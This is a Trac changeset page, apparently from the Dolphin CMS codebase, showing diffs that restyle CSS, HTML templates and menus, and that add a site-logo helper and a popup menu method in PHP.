12px; margin-top: 6px; line-height: 12px;'><bx_text:_sys_outdated_browser_explain /></div>54 </div>55 <div style='width: 75px; float: left;'><a href='http://www.firefox.com' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-firefox.jpg' style='border: none;' alt='Get Firefox 3.5'/></a></div>56 <div style='width: 75px; float: left;'><a href='http://www.browserforthebetter.com/download.html' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-ie8.jpg' style='border: none;' alt='Get Internet Explorer 8'/></a></div>57 <div style='width: 73px; float: left;'><a href='http://www.apple.com/safari/download/' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-safari.jpg' style='border: none;' alt='Get Safari 4'/></a></div>58 <div style='float: left;'><a href='http://www.google.com/chrome' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-chrome.jpg' style='border: none;' alt='Get Google Chrome'/></a></div>59 </div>60 </div>61 <![endif]-->62 -
trunk/templates/base/css/common.css
r15922 r15942 1 2 /* --------------- general styles */3 1 4 2 a { … … 28 26 } 29 27 30 /* --------------- logo */31 32 #bx-logo-container {33 34 }35 36 /* --------------- footer */37 38 #bx-footer-copyright {39 float:right;40 }41 42 28 /* --------------- design boxes */ 43 29 … … 78 64 .bx-popup { 79 65 overflow:hidden; 80 81 border-radius:3px;82 -moz-border-radius:3px;83 -webkit-border-radius:3px;84 66 85 67 -moz-box-shadow:0px 0px 10px 0px rgba(128, 128, 128, 0.3), 0px 1px 2px 0px rgba(0, 0, 0, 0.3); … … 138 120 .bx-loading-ajax { 139 121 position:absolute; 140 width: 128px;141 height:1 5px;122 width:43px; 123 height:11px; 142 124 z-index:10; 143 125 margin-left:auto; … … 145 127 padding:10px 10px; 146 128 147 background-color:rgb( 96, 96, 96);148 background-color:rgba( 96, 96, 96, 0.5);129 background-color:rgb(128, 169, 213); 130 background-color:rgba(128, 169, 213, 0.5); 149 131 150 132 border-radius:5px; … … 156 138 } 157 139 .bx-loading-ajax-rotating { 158 width: 128px;159 height:1 5px;140 width:43px; 141 height:11px; 160 142 z-index:11; 161 143 -
trunk/templates/base/css/default.css
r15750 r15942 1 2 /* page */3 .bx-def-page-margin {4 margin:0 auto 0 auto;5 }6 1 7 2 /* popup */ … … 99 94 .bx-def-color-bg-page { 100 95 background-color:#f2f2f2; 96 background-image:url(../images/bg-page.jpg); 101 97 } 102 98 … … 133 129 134 130 .bx-def-border { 135 border:1px solid #d ddddd;131 border:1px solid #d0d0d0; 136 132 } 137 133 .bx-def-border-rightbottomleft { 138 border:1px solid #d ddddd;134 border:1px solid #d0d0d0; 139 135 padding-top:none; 140 136 } 141 137 .bx-def-border-top { 142 border-top:1px solid #d ddddd;138 border-top:1px solid #d0d0d0; 143 139 } 144 140 .bx-def-border-right { 145 border-right:1px solid #d ddddd;141 border-right:1px solid #d0d0d0; 146 142 } 147 143 .bx-def-border-bottom { 148 border-bottom:1px solid #d ddddd;144 border-bottom:1px solid #d0d0d0; 149 145 } 150 146 .bx-def-border-left { 151 border-left:1px solid #dddddd; 147 border-left:1px solid #d0d0d0; 148 } 149 150 /* round corders */ 151 152 .bx-def-round-corners { 153 border-radius:3px; 154 -moz-border-radius:3px; 155 -webkit-border-radius:3px; 152 156 } 153 157 -
trunk/templates/base/css/menu.css
r15922 r15942 1 2 /* --------------- menu main */3 4 #bx-menu-main-container {5 width:100%;6 }7 1 8 2 /* --------------- menu footer */ … … 64 58 65 59 66 60 /* --------------- main menu */ 61 62 ul.bx-menu-main { 63 display: table; 64 padding:0; 65 margin:0 auto; 66 list-style:none; 67 } 68 69 .bx-menu-main li { 70 float:left; 71 margin:0; 72 background-color:#f6f6f6; 73 border-right:1px solid #d0d0d0; 74 75 -webkit-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 76 -moz-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 77 box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 78 79 -webkit-transition: background 0.2s ease-in-out; 80 -moz-transition: background 0.2s ease-in-out; 81 -o-transition: background 0.2s ease-in-out; 82 } 83 84 .bx-menu-main li:first-child { 85 border-left:1px solid #d0d0d0; 86 } 87 88 .bx-menu-main li a { 89 display:block; 90 text-decoration:none; 91 } 92 93 .bx-menu-main li.bx-menu-tab-active a { 94 color:#000; 95 } 96 97 .bx-menu-main li:hover { 98 background-color:rgba(255, 255, 255, 0.9); 99 } 100 101 .bx-menu-main li:active, 102 .bx-menu-main li.bx-menu-tab-active { 103 -webkit-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 104 -moz-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 105 box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 106 107 -webkit-transition-duration: 0.0s; 108 -moz-transition-duration: 0.0s; 109 -o-transition-duration: 0.0s; 110 } 111 112 113 114 /* --------------- toolbar menu */ 115 116 #bx-menu-toolbar-1-container .bx-menu-toolbar { 117 float:left; 118 } 119 120 #bx-menu-toolbar-2-container .bx-menu-toolbar { 121 float:right; 122 } 123 124 .bx-menu-toolbar { 125 list-style:none; 126 margin:0 0 0 0; 127 padding:0; 128 } 129 ul.bx-menu-toolbar li { 130 131 float:left; 132 margin: 0px; 133 134 min-width: 48px; 135 height: 48px; 136 137 border: 1px solid #000000; 138 border: 1px solid rgba(0, 0, 0, 0.3); 139 border-width: 1px 0px 1px 1px; 140 141 -moz-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 142 -webkit-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 143 box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 144 145 -webkit-transition: background 0.2s ease-in-out; 146 } 147 ul.bx-menu-toolbar li:first-child { 148 border-radius: 6px 0px 0px 6px; 149 -moz-border-radius: 6px 0px 0px 6px; 150 } 151 ul.bx-menu-toolbar li:last-child { 152 border-radius: 0px 6px 6px 0px; 153 -moz-border-radius: 0px 6px 6px 0px; 154 border-width: 1px; 155 } 156 157 ul.bx-menu-toolbar li:last-child:first-child { 158 border-radius: 6px; 159 -moz-border-radius: 6px; 160 } 161 162 ul.bx-menu-toolbar li a { 163 position:relative; 164 display:block; 165 padding:0 10px; 166 height:100%; 167 min-width:28px; 168 line-height: 48px; 169 170 font-size: 16px; 171 font-weight: bold; 172 text-align: center; 173 color: #fff; 174 text-decoration:none; 175 text-shadow: rgba(0, 0, 0, 0.5) 0px 1px 0px; 176 } 177 ul.bx-menu-toolbar li img { 178 width:28px; 179 height:48px; 180 background-position:center center; 181 background-repeat:no-repeat; 182 } 183 184 ul.bx-menu-toolbar li:hover { 185 background-color: rgba(75, 127, 181, 0.5); 186 } 187 188 ul.bx-menu-toolbar li:active, 189 ul.bx-menu-toolbar li.bx-menu-tab-active { 190 background-color: rgb(37, 64, 90); 191 background-color: rgba(37, 64, 90, 0.3); 192 193 -moz-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 194 -webkit-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 195 box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 196 197 -webkit-transition-duration: 0.0s; 198 } 199 ul.bx-menu-toolbar li:active a, 200 ul.bx-menu-toolbar li.bx-menu-tab-active a { 201 top:1px; 202 } 203 204 -
trunk/templates/base/designbox_1.html
r15545 r15942 1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom ">1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 2 2 <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div> 3 3 <div class="bx-db-content">__designbox_content__</div> -
trunk/templates/base/designbox_11.html
r15774 r15942 1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom " style="background-image:url(/d8/studio/templates/base/images/bx-std-bg-page.jpg);">1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 2 2 <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div> 3 3 <div class="bx-db-content bx-def-padding">__designbox_content__</div> -
trunk/templates/base/designbox_13.html
r15211 r15942 1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom ">1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 2 2 <div class="bx-db-content bx-def-padding"> 3 3 __designbox_content__ -
trunk/templates/base/designbox_3.html
r15211 r15942 1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom ">1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 2 2 <div class="bx-db-content"> 3 3 __designbox_content__ -
trunk/templates/base/menu_main.html
r15749 r15942 1 <ul id="bx-menu-main" class="bx-menu- hor">1 <ul id="bx-menu-main" class="bx-menu-main bx-def-font-h3"> 2 2 <bx_repeat:menu_items> 3 <li class="__class_add__"><a href="__link__" target="__target__" onclick="__onclick__">__title__</a></li>3 <li class="__class_add__"><a class="bx-def-padding-right bx-def-padding-left" href="__link__" target="__target__" onclick="__onclick__">__title__</a></li> 4 4 </bx_repeat:menu_items> 5 5 <div class="bx-clear"></div> 6 6 </ul> 7 <script> 8 $(document).ready(function () { 9 $('#bx-menu-main li').click(function () { 10 $('#bx-menu-main li').removeClass('bx-menu-tab-active'); 11 $(this).addClass('bx-menu-tab-active'); 12 }); 13 }); 14 </script> -
trunk/templates/base/popup_box.html
r15922 r15942 9 9 <i class="i6 bx-def-color-bg-block"> </i> 10 10 </div> 11 <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block ">11 <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block bx-def-round-corners"> 12 12 <div class="bx-db-header"> 13 13 <div class="bx-db-title bx-def-padding-left"><h2>__title__</h2></div> -
trunk/templates/base/popup_trans.html
r15752 r15942 9 9 <i class="i6 bx-def-color-bg-block"> </i> 10 10 </div> 11 <div class="bx-popup bx-popup-trans ">11 <div class="bx-popup bx-popup-trans bx-def-round-corners"> 12 12 __content__ 13 13 </div> -
trunk/templates/base/scripts/BxBaseFunctions.php
r15934 r15942 606 606 return $sCode; 607 607 } 608 609 /** 610 * Get logo HTML. 611 * @return string 612 */ 613 function getMainLogo() { 614 bx_import('BxDolConfig'); 615 616 $sAlt = getParam('sys_site_logo_alt') ? getParam('sys_site_logo_alt') : getParam('site_title'); 617 618 $iFileId = (int)getParam('sys_site_logo'); 619 if (!$iFileId) 620 return $sAlt; 621 622 bx_import('BxDolStorage'); 623 $oStorage = BxDolStorage::getObjectInstance(BX_DOL_STORAGE_OBJ_IMAGES); 624 $sFileUrl = $oStorage->getFileUrlById($iFileId); 625 if (!$sFileUrl) 626 return $sAlt; 627 628 return '<a href="' . BX_DOL_URL_ROOT . '" title="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '"><img src="' . $sFileUrl . '" id="bx-logo" class="bx-def-margin-sec" alt="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '" /></a>'; 629 } 608 630 } -
trunk/templates/base/scripts/BxBaseMenu.php
r15907 r15942 32 32 * @return string 33 33 */ 34 public function getCode () { 34 public function getCode () { 35 35 36 36 $aVars = array ( … … 42 42 43 43 return $this->_oTemplate->parseHtmlByName($this->_aObject['template'], $aVars); 44 } 45 46 /** 47 * Get menu code for displaying menu in popup. 48 * @return string 49 */ 50 public function getCodeForPopup () { 51 bx_import('BxTemplFunctions'); 52 return BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block">' . $this->getCode () . '</div>'); 44 53 } 45 54 … … 66 75 $a['class_add'] = $this->_isSelected($a) ? 'bx-menu-tab-active' : ''; 67 76 $a['link'] = isset($a['link']) ? $this->_oPermalinks->permalink($a['link']) : 'javascript:void(0);'; 68 $a['title'] = _t($a['title']); 77 $a['title'] = _t($a['title']); 78 $a['bx_if:icon'] = array ( 79 'condition' => !empty($a['icon']), 80 'content' => array('icon_url' => !empty($a['icon']) ? $this->_oTemplate->getIconUrl($a['icon']) : ''), 81 ); 69 82 70 83 $aRet[] = $a;
Note: See TracChangeset
for help on using the changeset viewer.